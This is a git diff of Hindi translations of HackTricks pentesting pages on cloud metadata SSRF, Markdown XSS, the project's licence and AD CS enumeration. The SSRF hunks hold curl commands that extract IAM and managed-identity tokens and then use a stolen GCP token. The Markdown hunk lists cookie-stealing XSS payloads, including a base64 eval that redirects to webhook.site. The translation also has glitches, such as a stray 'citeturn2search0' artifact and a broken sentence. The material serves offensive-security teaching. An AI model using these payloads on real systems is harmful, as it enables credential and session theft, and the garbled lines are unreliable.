> ध्यान दें कि **lambda क्रेडेंशियल्स** **env वेरिएबल्स** के अंदर होते हैं। इसलिए यदि **स्टैक ट्रेस** में lambda कोड env वेरिएबल्स प्रिंट करता है, तो उन्हें **एक त्रुटि उत्पन्न करके एक्सफिल्ट्रेट करना संभव है**।
### SSRF URL for AWS Elastic Beanstalk
@ -143,9 +143,9 @@ http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbean
HTTP हेडर **`Metadata-Flavor: Google`** की आवश्यकता होती है और आप निम्नलिखित URLs के साथ मेटाडेटा एंडपॉइंट तक पहुंच सकते हैं:
- http://169.254.169.254
- http://metadata.google.internal
- http://metadata
- [http://169.254.169.254](http://169.254.169.254)
- [http://metadata.google.internal](http://metadata.google.internal)
- [http://metadata](http://metadata)
जानकारी निकालने के लिए दिलचस्प एंडपॉइंट्स:
```bash
@ -226,27 +226,27 @@ curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?rec
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
```
बीटा को वर्तमान में एक हेडर की आवश्यकता नहीं है (धन्यवाद Mathias Karlsson @avlidienbrunn)
Beta को वर्तमान में एक हेडर की आवश्यकता नहीं है (धन्यवाद Mathias Karlsson @avlidienbrunn)
```
http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
```
> [!CAUTION]
> **निकाली गई सेवा खाता टोकन** का **उपयोग करने के लिए** आप बस यह कर सकते हैं:
> **निकाली गई सेवा खाता टोकन** का उपयोग करने के लिए आप बस यह कर सकते हैं:
>
> ```bash
> # Via env vars
> # env vars के माध्यम से
> export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
> gcloud projects list
>
> # Via setup
> # सेटअप के माध्यम से
> echo "<token>" > /some/path/to/token
> gcloud config set auth/access_token_file /some/path/to/token
> gcloud projects list
> gcloud config unset auth/access_token_file
> ```
### SSH कुंजी जोड़ें
### एक SSH कुंजी जोड़ें
टोकन निकालें
```
@ -327,16 +327,16 @@ curl http://169.254.169.254/metadata/v1.json | jq
>
> जब मेटाडेटा एंडपॉइंट के लिए एक्सेस टोकन का अनुरोध किया जाता है, तो डिफ़ॉल्ट रूप से मेटाडेटा सेवा **सिस्टम असाइन की गई प्रबंधित पहचान** का उपयोग करके टोकन उत्पन्न करेगी, यदि कोई सिस्टम असाइन की गई प्रबंधित पहचान है। यदि केवल **एक उपयोगकर्ता असाइन की गई प्रबंधित पहचान** है, तो इसका उपयोग डिफ़ॉल्ट रूप से किया जाएगा। हालाँकि, यदि कोई सिस्टम असाइन की गई प्रबंधित पहचान नहीं है और **कई उपयोगकर्ता असाइन की गई प्रबंधित पहचानें** हैं, तो मेटाडेटा सेवा एक त्रुटि लौटाएगी जो यह इंगित करती है कि कई प्रबंधित पहचानें हैं और यह आवश्यक है कि **यह निर्दिष्ट करें कि किसका उपयोग करना है**
>
> दुर्भाग्यवश, मुझे कोई मेटाडेटा एंडपॉइंट नहीं मिला जो यह दर्शाता हो कि एक VM के पास सभी MIs जुड़ी हुई हैं, इसलिए एक Red Team के दृष्टिकोण से एक VM के लिए सभी असाइन की गई प्रबंधित पहचानों का पता लगाना एक कठिन कार्य हो सकता है।
> दुर्भाग्यवश, मुझे कोई मेटाडेटा एंडपॉइंट नहीं मिला जो यह दर्शाता हो कि एक VM में सभी MIs जुड़ी हुई हैं, इसलिए एक Red Team के दृष्टिकोण से एक VM के लिए सभी असाइन की गई प्रबंधित पहचानों का पता लगाना एक कठिन कार्य हो सकता है।
>
> इसलिए, सभी जुड़े हुए MIs को खोजने के लिए आप कर सकते हैं:
>
> - **az cli** के साथ **जुड़ी हुई पहचानों को प्राप्त करें** (यदि आपने पहले से Azure टेनेट में किसी प्रिंसिपल को समझौता किया है)
> - **az cli** के साथ **जुड़ी हुई पहचानों को प्राप्त करें** (यदि आपने पहले से Azure टेनेन्ट में किसी प्रिंसिपल को समझौता कर लिया है)
>
> ```bash
> az vm identity show \
> --resource-group <rsc-group> \
> --name <vm-name>
> --resource-group <rsc-group> \
> --name <vm-name>
> ```
>
> - मेटाडेटा में डिफ़ॉल्ट जुड़े हुए MI का उपयोग करके **जुड़ी हुई पहचानों को प्राप्त करें**:
@ -346,30 +346,30 @@ curl http://169.254.169.254/metadata/v1.json | jq
>
> # डिफ़ॉल्ट MI से टोकन प्राप्त करें
> export TOKEN=$(curl -s -H "Metadata:true" \
> "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \
> | jq -r '.access_token')
> "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \
> | jq -r '.access_token')
>
> # आवश्यक विवरण प्राप्त करें
> export SUBSCRIPTION_ID=$(curl -s -H "Metadata:true" \
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId')
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId')
> export RESOURCE_GROUP=$(curl -s -H "Metadata:true" \
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName')
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName')
> export VM_NAME=$(curl -s -H "Metadata:true" \
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name')
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name')
>
> # जुड़े हुए MIs प्राप्त करने का प्रयास करें
> curl -s -H "Authorization: Bearer $TOKEN" \
> "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
> "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
> ```
>
> - टेनेट में सभी परिभाषित प्रबंधित पहचानों को **प्राप्त करें** और देखें कि क्या इनमें से कोई VM से जुड़ी हुई है:
> - टेनेन्ट में सभी परिभाषित प्रबंधित पहचानों को **प्राप्त करें** और देखें कि क्या इनमें से कोई VM से जुड़ी हुई है:
>
> ```bash
> az identity list
> ```
> [!CAUTION]
> टोकन अनुरोधों में `object_id`, `client_id` या `msi_res_id` में से किसी भी पैरामीटर का उपयोग करें ताकि यह इंगित किया जा सके कि आप किस प्रबंधित पहचान का उपयोग करना चाहते हैं ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). यदि कोई नहीं, तो **डिफ़ॉल्ट MI का उपयोग किया जाएगा**
> टोकन अनुरोधों में `object_id`, `client_id` या `msi_res_id` में से किसी एक पैरामीटर का उपयोग करें ताकि आप जिस प्रबंधित पहचान का उपयोग करना चाहते हैं उसे इंगित किया जा सके ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). यदि कोई नहीं, तो **डिफ़ॉल्ट MI का उपयोग किया जाएगा**
{{#tabs}}
{{#tab name="Bash"}}
@ -427,7 +427,10 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h
{{#endtab}}
{{#endtabs}}
### Azure App & Functions Services & Automation Accounts
> [!WARNING]
> ध्यान दें कि एंडपॉइंट **`http://169.254.169.254/metadata/v1/instanceinfo` को `Metadata: True` हेडर की आवश्यकता नहीं है** जो Azure में SSRF कमजोरियों में प्रभाव दिखाने के लिए बहुत अच्छा है जहाँ आप इस हेडर को जोड़ नहीं सकते।
### Azure ऐप और फ़ंक्शंस सेवाएँ और ऑटोमेशन खाते
**env** से आप **`IDENTITY_HEADER`** और **`IDENTITY_ENDPOINT`** के मान प्राप्त कर सकते हैं। जिसका उपयोग आप मेटाडेटा सर्वर के साथ बात करने के लिए एक टोकन इकट्ठा करने के लिए कर सकते हैं।
@ -439,7 +442,7 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h
- [https://management.azure.com](https://management.azure.com/)
> [!CAUTION]
> टोकन अनुरोधों में `object_id`, `client_id` या `msi_res_id` में से किसी भी पैरामीटर का उपयोग करें ताकि आप जिस प्रबंधित पहचान का उपयोग करना चाहते हैं उसे इंगित किया जा सके ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)) यदि कोई नहीं, तो **डिफ़ॉल्ट MI का उपयोग किया जाएगा**
> टोकन अनुरोधों में `object_id`, `client_id` या `msi_res_id` में से किसी भी पैरामीटर का उपयोग करें ताकि आप जिस प्रबंधित पहचान का उपयोग करना चाहते हैं उसे इंगित किया जा सके ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). यदि कोई नहीं, तो **डिफ़ॉल्ट MI का उपयोग किया जाएगा**
{{#tabs}}
{{#tab name="Bash"}}
@ -524,7 +527,7 @@ Get-AutomationVariable -Name 'AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID'
## IBM Cloud
> [!WARNING]
> ध्यान दें कि IBM में डिफ़ॉल्ट रूप से मेटाडेटा सक्षम नहीं है, इसलिए यह संभव है कि आप इसे एक्सेस नहीं कर पाएंगे, भले ही आप IBM क्लाउड VM के अंदर हों
> ध्यान दें कि IBM में डिफ़ॉल्ट रूप से मेटाडेटा सक्षम नहीं है, इसलिए यह संभव है कि आप इसे एक्सेस नहीं कर पाएंगे, भले ही आप IBM क्लाउड VM के अंदर हों
```bash
export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
-H "Metadata-Flavor: ibm"\
@ -548,7 +551,7 @@ curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance
# Get IAM credentials
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
```
नीचे विभिन्न प्लेटफार्मों की मेटाडेटा सेवाओं के लिए दस्तावेज़ीकरण दिया गया है, जो उन तरीकों को उजागर करता है जिनके माध्यम से उदाहरणों के लिए कॉन्फ़िगरेशन और रनटाइम जानकारी तक पहुंचा जा सकता है। प्रत्येक प्लेटफार्म अद्वितीय एंडपॉइंट प्रदान करता है ताकि इसकी मेटाडेटा सेवाओं तक पहुंचा जा सके
नीचे विभिन्न प्लेटफार्मों की मेटाडेटा सेवाओं के लिए दस्तावेज़ीकरण का विवरण दिया गया है, जो उन तरीकों को उजागर करता है जिनके माध्यम से उदाहरणों के लिए कॉन्फ़िगरेशन और रनटाइम जानकारी तक पहुंचा जा सकता है। प्रत्येक प्लेटफॉर्म अपनी मेटाडेटा सेवाओं तक पहुंचने के लिए अद्वितीय एंडपॉइंट प्रदान करता है
## Packetcloud
@ -592,7 +595,7 @@ Kubernetes ETCD API कुंजी, आंतरिक IP पते और प
## Docker
Docker मेटाडेटा को स्थानीय रूप से एक्सेस किया जा सकता है, जिसमें कंटेनर और छवि जानकारी पुनर्प्राप्त करने के लिए उदाहरण दिए गए हैं:
Docker मेटाडेटा को स्थानीय रूप से एक्सेस किया जा सकता है, जिसमें कंटेनर और छवि जानकारी पुनर्प्राप्त करने के उदाहरण दिए गए हैं:
- Docker सॉकेट के माध्यम से कंटेनरों और छवियों के मेटाडेटा तक पहुंचने के लिए सरल उदाहरण:
- `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
@ -602,7 +605,7 @@ Docker मेटाडेटा को स्थानीय रूप से
## Rancher
Rancher के मेटाडेटा तक पहुंचने के लिए उपयोग किया जा सकता है:
Rancher का मेटाडेटा इस प्रकार एक्सेस किया जा सकता है:
- `curl http://rancher-metadata/<version>/<path>`

View File

@ -2,11 +2,11 @@
{{#include ../../banners/hacktricks-training.md}}
यदि आपके पास मार्कडाउन में कोड इंजेक्ट करने का मौका है, तो कुछ विकल्प हैं जिनका उपयोग आप कोड के व्याख्या होने पर XSS को ट्रिगर करने के लिए कर सकते हैं।
यदि आपके पास मार्कडाउन में कोड इंजेक्ट करने का अवसर है, तो कुछ विकल्प हैं जिनका उपयोग आप कोड के व्याख्या होने पर XSS को ट्रिगर करने के लिए कर सकते हैं।
### HTML tags
### HTML टैग
मार्कडाउन में XSS प्राप्त करने का सबसे सामान्य तरीका सामान्य HTML टैग्स को इंजेक्ट करना है जो जावास्क्रिप्ट को निष्पादित करते हैं, क्योंकि कई मार्कडाउन व्याख्याकार HTML को भी स्वीकार करेंगे।
मार्कडाउन में XSS प्राप्त करने का सबसे सामान्य तरीका सामान्य HTML टैग को इंजेक्ट करना है जो जावास्क्रिप्ट को निष्पादित करते हैं, क्योंकि कई मार्कडाउन व्याख्याकार HTML को भी स्वीकार करेंगे।
```html
<!-- XSS with regular tags -->
<script>
@ -84,8 +84,8 @@ x="<style onload=eval(atob(/bG9jYXRpb249YGh0dHBzOi8vd2ViaG9vay5zaXRlL2FiM2IyYjg5
```html
<!--
Fuzzing examples from
- https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt
- https://makandracards.com/makandra/481451-testing-for-xss-in-markdown-fields
- [https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt](https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt)
- [https://makandracards.com/makandra/481451-testing-for-xss-in-markdown-fields](https://makandracards.com/makandra/481451-testing-for-xss-in-markdown-fields)
-->
[a](javascript:prompt(document.cookie))
@ -97,7 +97,7 @@ Fuzzing examples from
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](javascript:alert('XSS'))
![a'"`onerror=prompt(document.cookie)](x)\
[citelol]: (javascript:prompt(document.cookie))
[lol]: (javascript:prompt(document.cookie))
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
[test](javascript://%0d%0aprompt(1))
[test](javascript://%0d%0aprompt(1);com)

View File

@ -7,15 +7,15 @@
> [!TIP]
> ये हैं **HackTricks प्रोजेक्ट के मूल्य**:
>
> - **सभी** इंटरनेट क **शैक्षिक हैकिंग** संसाधनों का **मुफ्त** एक्सेस दें।
> - हैकिंग सीखने के बारे में है, और सीखना जितना संभव हो उतना मुफ्त होना चाहिए।
> - इस पुस्तक का उद्देश्य एक व्यापक **शैक्षिक संसाधन** के रूप में कार्य करना है।
> - समुदाय द्वारा प्रकाशित शानदार **हैकिंग** तकनीकों को **स्टोर** करें और **मूल** **लेखकों** को सभी **क्रेडिट** दें।
> - **हम दूसरों से क्रेडिट नहीं चाहते**, हम बस सभी के लिए शानदार ट्रिक्स को स्टोर करना चाहते हैं।
> - हम HackTricks में **अपनी खुद की रिसर्च** भी लिखते हैं।
> - कई मामलों में हम बस HackTricks में तकनीक के महत्वपूर्ण हिस्सों का **संक्षेप में लिखेंगे** और **पाठक को मूल पोस्ट पर जाने के लिए प्रोत्साहित करेंगे** अधिक विवरण के लिए।
> - **सभी** इंटरनेट के लिए **शैक्षिक हैकिंग** संसाधनों का **मुफ्त** एक्सेस दें।
> - हैकिंग सीखने के बारे में है, और सीखना जितना संभव हो उतना मुफ्त होना चाहिए।
> - इस पुस्तक का उद्देश्य एक व्यापक **शैक्षिक संसाधन** के रूप में कार्य करना है।
> - समुदाय द्वारा प्रकाशित शानदार **हैकिंग** तकनीकों को **स्टोर** करें और **मूल** **लेखकों** को सभी **श्रेय** दें।
> - **हम दूसरों से श्रेय नहीं चाहते**, हम बस सभी के लिए शानदार ट्रिक्स स्टोर करना चाहते हैं।
> - हम HackTricks में **अपनी खुद की रिसर्च** भी लिखते हैं।
> - कई मामलों में हम बस HackTricks में तकनीक के महत्वपूर्ण भागों का **संक्षेप में लिखेंगे** और **पाठक को मूल पोस्ट पर जाने के लिए प्रोत्साहित करेंगे** अधिक विवरण के लिए।
> - पुस्तक में सभी हैकिंग तकनीकों को **व्यवस्थित** करें ताकि यह **अधिक सुलभ** हो।
> - HackTricks टीम ने लोगों को **तेजी से सीखने** के लिए सामग्री को **व्यवस्थित करने** में हजारों घंटे मुफ्त में समर्पित किए हैं।
> - HackTricks टीम ने लोगों को **तेजी से सीखने** के लिए सामग्री को **व्यवस्थित करने** के लिए मुफ्त में हजारों घंटे समर्पित किए हैं।
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
@ -23,9 +23,9 @@
> [!TIP]
>
> - **इन संसाधनों के लिए आपका बहुत धन्यवाद, मैं आपको कैसे धन्यवाद कह सकता हूँ?**
> - **इन संसाधनों के लिए बहुत धन्यवाद, मैं आपको कैसे धन्यवाद कह सकता हूँ?**
आप HackTricks टीमों को सभी संसाधनों को सार्वजनिक रूप से एक ट्वीट में [**@hacktricks_live**](https://twitter.com/hacktricks_live) का उल्लेख करके धन्यवाद दे सकते हैं।\
आप HackTricks टीम को इन सभी संसाधनों को सार्वजनिक रूप से एक ट्वीट में [**@hacktricks_live**](https://twitter.com/hacktricks_live) का उल्लेख करके धन्यवाद दे सकते हैं।\
यदि आप विशेष रूप से आभारी हैं तो आप [**यहां प्रोजेक्ट को स्पॉन्सर कर सकते हैं**](https://github.com/sponsors/carlospolop)।\
और Github प्रोजेक्ट्स में **एक स्टार देना न भूलें!** (नीचे लिंक खोजें)।
@ -48,10 +48,10 @@ Github प्रोजेक्ट्स में **एक स्टार द
> [!TIP]
>
> - **मैं HackTricks के एक पृष्ठ का उद्धरण कैसे दे सकता हूँ?**
> - **मैं HackTricks का एक पृष्ठ कैसे कर सकता हूँ?**
जब तक उस पृष्ठ का **लिंक** जहाँ से आपने जानकारी ली है, दिखाई देता है, यह पर्याप्त है।\
यदि आपको एक bibtex की आवश्यकता है, तो आप कुछ इस तरह का उपयोग कर सकते हैं:
जब तक पृष्ठों का **लिंक** जहाँ से आपने जानकारी ली है, दिखाई देता है, यह पर्याप्त है।\
यदि आपको एक bibtex की आवश्यकता है, तो आप कुछ ऐसा उपयोग कर सकते हैं:
```latex
@misc{hacktricks-bibtexing,
author = {"HackTricks Team" or the Authors name of the specific page/trick},
@ -64,7 +64,7 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
>
> - **क्या मैं अपने ब्लॉग में सभी HackTricks की कॉपी कर सकता हूँ?**
**मैं ऐसा नहीं करना चाहूँगा**। यह **किसी के लिए भी लाभकारी नहीं होगा** क्योंकि सभी **सामग्री पहले से ही सार्वजनिक रूप से उपलब्ध है** आधिकारिक HackTricks पुस्तकों में मुफ्त में।
**मैं ऐसा नहीं करना चाहूंगा**। यह **किसी के लिए भी फायदेमंद नहीं होगा** क्योंकि सभी **सामग्री पहले से ही आधिकारिक HackTricks पुस्तकों में मुफ्त में उपलब्ध है**
यदि आपको डर है कि यह गायब हो जाएगा, तो बस इसे Github पर फोर्क करें या डाउनलोड करें, जैसा कि मैंने कहा, यह पहले से ही मुफ्त है।
@ -82,27 +82,27 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
> [!CAUTION]
>
> - **अगर कोई HackTricks पृष्ठ मेरे ब्लॉग पोस्ट पर आधारित है लेकिन इसका संदर्भ नहीं दिया गया है, तो मुझे क्या करना चाहिए?**
> - **अगर कुछ HackTricks पृष्ठ मेरे ब्लॉग पोस्ट पर आधारित है लेकिन इसका संदर्भ नहीं दिया गया है तो मुझे क्या करना चाहिए?**
**हमें बहुत खेद है। ऐसा नहीं होना चाहिए था**। कृपया, हमें Github मुद्दों, Twitter, Discord... के माध्यम से HackTricks पृष्ठ का लिंक और आपके ब्लॉग का लिंक बताएं और **हम इसे जांचेंगे और ASAP जोड़ेंगे**।
**हमें बहुत खेद है। ऐसा नहीं होना चाहिए था**। कृपया, हमें Github मुद्दों, Twitter, Discord... के माध्यम से HackTricks पृष्ठ का लिंक और आपके ब्लॉग का लिंक बताएं और **हम इसे ेक करेंगे और ASAP जोड़ेंगे**।
> [!CAUTION]
>
> - **अगर HackTricks में मेरे ब्लॉग की सामग्री है और मैं इसे वहाँ नहीं चाहता, तो मुझे क्या करना चाहिए?**
> - **अगर HackTricks में मेरे ब्लॉग की सामग्री है और मैं इसे वहाँ नहीं चाहता तो मुझे क्या करना चाहिए?**
ध्यान दें कि HackTricks में आपके पृष्ठ के लिंक होने से:
- आपके **SEO** में सुधार होता है
- सामग्री **15 से अधिक भाषाओं में अनुवादित** होती है जिससे अधिक लोग इस सामग्री तक पहुँच सकते हैं
- **HackTricks लोगों को** आपके पृष्ठ को **चेक करने के लिए प्रोत्साहित करता है** (कई लोगों ने हमें बताया है कि जब से उनका कुछ पृष्ठ HackTricks में है, उन्हें अधिक विज़िट मिलते हैं)
- **HackTricks लोगों को** **आपके पृष्ठ की जांच करने के लिए प्रोत्साहित करता है** (कई लोगों ने हमें बताया है कि जब से उनका कुछ पृष्ठ HackTricks में है, उन्हें अधिक विज़िट मिलते हैं)
हालांकि, यदि आप अभी भी चाहते हैं कि आपके ब्लॉग की सामग्री HackTricks से हटा दी जाए, तो बस हमें बताएं और हम निश्चित रूप से **आपके ब्लॉग के हर लिंक को हटा देंगे**, और उस पर आधारित कोई भी सामग्री।
हालांकि, यदि आप अभी भी चाहते हैं कि आपके ब्लॉग की सामग्री HackTricks से हटा दी जाए, तो बस हमें बताएं और हम निश्चित रूप से **आपके ब्लॉग के लिए हर लिंक हटा देंगे**, और उस पर आधारित कोई भी सामग्री।
> [!CAUTION]
>
> - **अगर मैं HackTricks में कॉपी-पेस्ट की गई सामग्री पाता हूँ, तो मुझे क्या करना चाहिए?**
> - **अगर मैं HackTricks में कॉपी-पेस्ट की गई सामग्री पाता हूँ तो मुझे क्या करना चाहिए?**
हम हमेशा **मूल लेखकों को सभी श्रेय देते हैं**। यदि आप किसी पृष्ठ पर कॉपी-पेस्ट की गई सामग्री पाते हैं जिसमें मूल स्रोत का संदर्भ नहीं है, तो हमें बताएं और हम या तो **इसे हटा देंगे**, **पाठ से पहले लिंक जोड़ेंगे**, या **लिंक जोड़ते हुए इसे फिर से लिखेंगे**।
हम हमेशा **मूल लेखकों को सभी श्रेय देते हैं**। यदि आप एक पृष्ठ पाते हैं जिसमें कॉपी-पेस्ट की गई सामग्री है बिना मूल स्रोत का संदर्भ दिए, तो हमें बताएं और हम या तो **इसे हटा देंगे**, **पाठ से पहले लिंक जोड़ेंगे**, या **इसे फिर से लिखेंगे और लिंक जोड़ेंगे**।
## LICENSE
@ -116,7 +116,7 @@ Copyright © सभी अधिकार सुरक्षित हैं ज
#### अतिरिक्त शर्तें:
- तृतीय-पक्ष सामग्री: इस ब्लॉग/पुस्तक के कुछ भागों में अन्य स्रोतों से सामग्री शामिल हो सकती है, जैसे अन्य ब्लॉगों या प्रकाशनों से अंश। ऐसी सामग्री का उपयोग उचित उपयोग के सिद्धांतों के तहत या संबंधित कॉपीराइट धारकों से स्पष्ट अनुमति के साथ किया जाता है। कृपया तृतीय-पक्ष सामग्री के लिए विशिष्ट लाइसेंसिंग जानकारी के लिए मूल स्रोतों का संदर्भ लें।
- तृतीय-पक्ष सामग्री: इस ब्लॉग/पुस्तक के कुछ भागों में अन्य स्रोतों से सामग्री शामिल हो सकती है, जैसे अन्य ब्लॉगों या प्रकाशनों से अंश। ऐसी सामग्री का उपयोग उचित उपयोग के सिद्धांतों के तहत या संबंधित कॉपीराइट धारकों से स्पष्ट अनुमति के साथ किया गया है। कृपया तृतीय-पक्ष सामग्री के लिए विशिष्ट लाइसेंसिंग जानकारी के लिए मूल स्रोतों का संदर्भ लें।
- लेखन: HackTricks द्वारा लिखी गई मूल सामग्री इस लाइसेंस की शर्तों के अधीन है। आप इस काम को साझा या अनुकूलित करते समय लेखक को श्रेय देने के लिए प्रोत्साहित हैं।
#### छूट:
@ -134,10 +134,10 @@ Copyright © सभी अधिकार सुरक्षित हैं ज
>
> लेखक और प्रकाशक किसी भी स्थिति में किसी भी हानि या क्षति के लिए उत्तरदायी नहीं होंगे, जिसमें बिना सीमा, अप्रत्यक्ष या परिणामी हानि या क्षति, या डेटा या लाभ के नुकसान से उत्पन्न होने वाली कोई भी हानि या क्षति शामिल है, जो इस पुस्तक के उपयोग से उत्पन्न होती है या इससे संबंधित होती है।
>
> इसके अलावा, इस पुस्तक में वर्णित तकनीकें और सुझाव केवल शैक्षिक और सूचनात्मक उद्देश्यों के लिए प्रदान किए गए हैं, और इन्हें किसी भी अवैध या दुर्भावनापूर्ण गतिविधियों के लिए उपयोग नहीं किया जाना चाहिए। लेखक और प्रकाशक किसी भी अवैध या अनैतिक गतिविधियों का समर्थन या सहमति नहीं देते हैं, और इस पुस्तक में निहित जानकारी का कोई भी उपयोग उपयोगकर्ता के अपने जोखिम और विवेक पर है।
> इसके अलावा, इस पुस्तक में वर्णित तकनीकें और सुझाव केवल शैक्षिक और सूचनात्मक उद्देश्यों के लिए प्रदान किए गए हैं, और इन्हें किसी भी अवैध या दुर्भावनापूर्ण गतिविधियों के लिए उपयोग नहीं किया जाना चाहिए। लेखक और प्रकाशक किसी भी अवैध या अनैतिक गतिविधियों का समर्थन या समर्थन नहीं करते हैं, और इस पुस्तक में निहित जानकारी का कोई भी उपयोग उपयोगकर्ता के अपने जोखिम और विवेक पर है।
>
> उपयोगकर्ता इस पुस्तक में निहित जानकारी के आधार पर किए गए किसी भी कार्य के लिए पूरी तरह से जिम्मेदार है, और किसी भी तकनीक या सुझाव को लागू करने का प्रयास करते समय हमेशा पेशेवर सलाह और सहायता प्राप्त करनी चाहिए।
>
> इस पुस्तक का उपयोग करके, उपयोगकर्ता लेखक और प्रकाशकों को इस पुस्तक के उपयोग या इसमें निहित किसी भी जानकारी के परिणामस्वरूप होने वाले किसी भी नुकसान, हानि, या क्षति से मुक्त करने के लिए सहमत होता है।
> इस पुस्तक का उपयोग करके, उपयोगकर्ता लेखक और प्रकाशक को इस पुस्तक के उपयोग या इसमें निहित किसी भी जानकारी के परिणामस्वरूप होने वाले किसी भी नुकसान, हानि, या क्षति से मुक्त करने के लिए सहमत होता है।
{{#include ../banners/hacktricks-training.md}}

View File

@ -91,17 +91,17 @@ Kerberos प्रमाणीकरण प्रक्रिया में,
```bash
CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>
```
is प्रमाणपत्र प्रमाणीकरण के लिए विश्वास स्थापित करने में केंद्रीय है
is प्रमाणपत्र प्रमाणीकरण के लिए विश्वास स्थापित करने में केंद्रीय।
### सुरक्षित चैनल (Schannel) प्रमाणीकरण
Schannel सुरक्षित TLS/SSL कनेक्शनों को सुविधाजनक बनाता है, जहाँ एक हैंडशेक के दौरान, क्लाइंट एक प्रमाणपत्र प्रस्तुत करता है जो, यदि सफलतापूर्वक मान्य किया जाता है, तो पहुँच अधिकृत करता है। एक प्रमाणपत्र को AD खाते से मानचित्रित करने में Kerberos का **S4U2Self** फ़ंक्शन या प्रमाणपत्र का **Subject Alternative Name (SAN)** शामिल हो सकता है, अन्य तरीकों के बीच।
Schannel सुरक्षित TLS/SSL कनेक्शनों को सुविधाजनक बनाता है, जहाँ एक हैंडशेक के दौरान, क्लाइंट एक प्रमाणपत्र प्रस्तुत करता है जो, यदि सफलतापूर्वक मान्य किया जाता है, तो पहुँच अधिकृत करता है। एक प्रमाणपत्र को AD खाते से जोड़ने में Kerberos का **S4U2Self** फ़ंक्शन या प्रमाणपत्र का **Subject Alternative Name (SAN)** शामिल हो सकता है, अन्य तरीकों के बीच।
### AD प्रमाणपत्र सेवाओं की गणना
AD की प्रमाणपत्र सेवाओं को LDAP क्वेरी के माध्यम से गणना की जा सकती है, जो **Enterprise Certificate Authorities (CAs)** और उनकी कॉन्फ़िगरेशन के बारे में जानकारी प्रकट करती है। यह किसी भी डोमेन-प्रमाणित उपयोगकर्ता द्वारा विशेष विशेषाधिकार के बिना सुलभ है। **[Certify](https://github.com/GhostPack/Certify)** और **[Certipy](https://github.com/ly4k/Certipy)** जैसे उपकरण AD CS वातावरण में गणना और भेद्यता मूल्यांकन के लिए उपयोग किए जाते हैं।
AD की प्रमाणपत्र सेवाओं को LDAP क्वेरी के माध्यम से गणना की जा सकती है, जो **Enterprise Certificate Authorities (CAs)** और उनकी कॉन्फ़िगरेशन के बारे में जानकारी प्रकट करती है। यह किसी भी डोमेन-प्रमाणित उपयोगकर्ता द्वारा विशेष विशेषाधिकार के बिना सुलभ है। **[Certify](https://github.com/GhostPack/Certify)** और **[Certipy](https://github.com/ly4k/Certipy)** जैसे उपकरण AD CS वातावरण में गणना और कमजोरियों के आकलन के लिए उपयोग किए जाते हैं।
इन उपकरणों का उपयोग करने के लिए आदेश शामिल हैं:
इन उपकरणों का उपयोग करने के लिए कमांड में शामिल हैं:
```bash
# Enumerate trusted root CA certificates and Enterprise CAs with Certify
Certify.exe cas
@ -124,9 +124,9 @@ certutil -v -dstemplate
| वर्ष | आईडी / नाम | प्रभाव | मुख्य निष्कर्ष |
|------|-----------|--------|----------------|
| 2022 | **CVE-2022-26923** “Certifried” / ESC6 | *विशेषाधिकार वृद्धि* मशीन खाता प्रमाणपत्रों को PKINIT के दौरान धोखा देकर। | पैच **10 मई 2022** सुरक्षा अपडेट में शामिल है। ऑडिटिंग और मजबूत-मैपिंग नियंत्रण **KB5014754** के माध्यम से पेश किए गए; वातावरण अब *पूर्ण प्रवर्तन* मोड में होना चाहिए। citeturn2search0 |
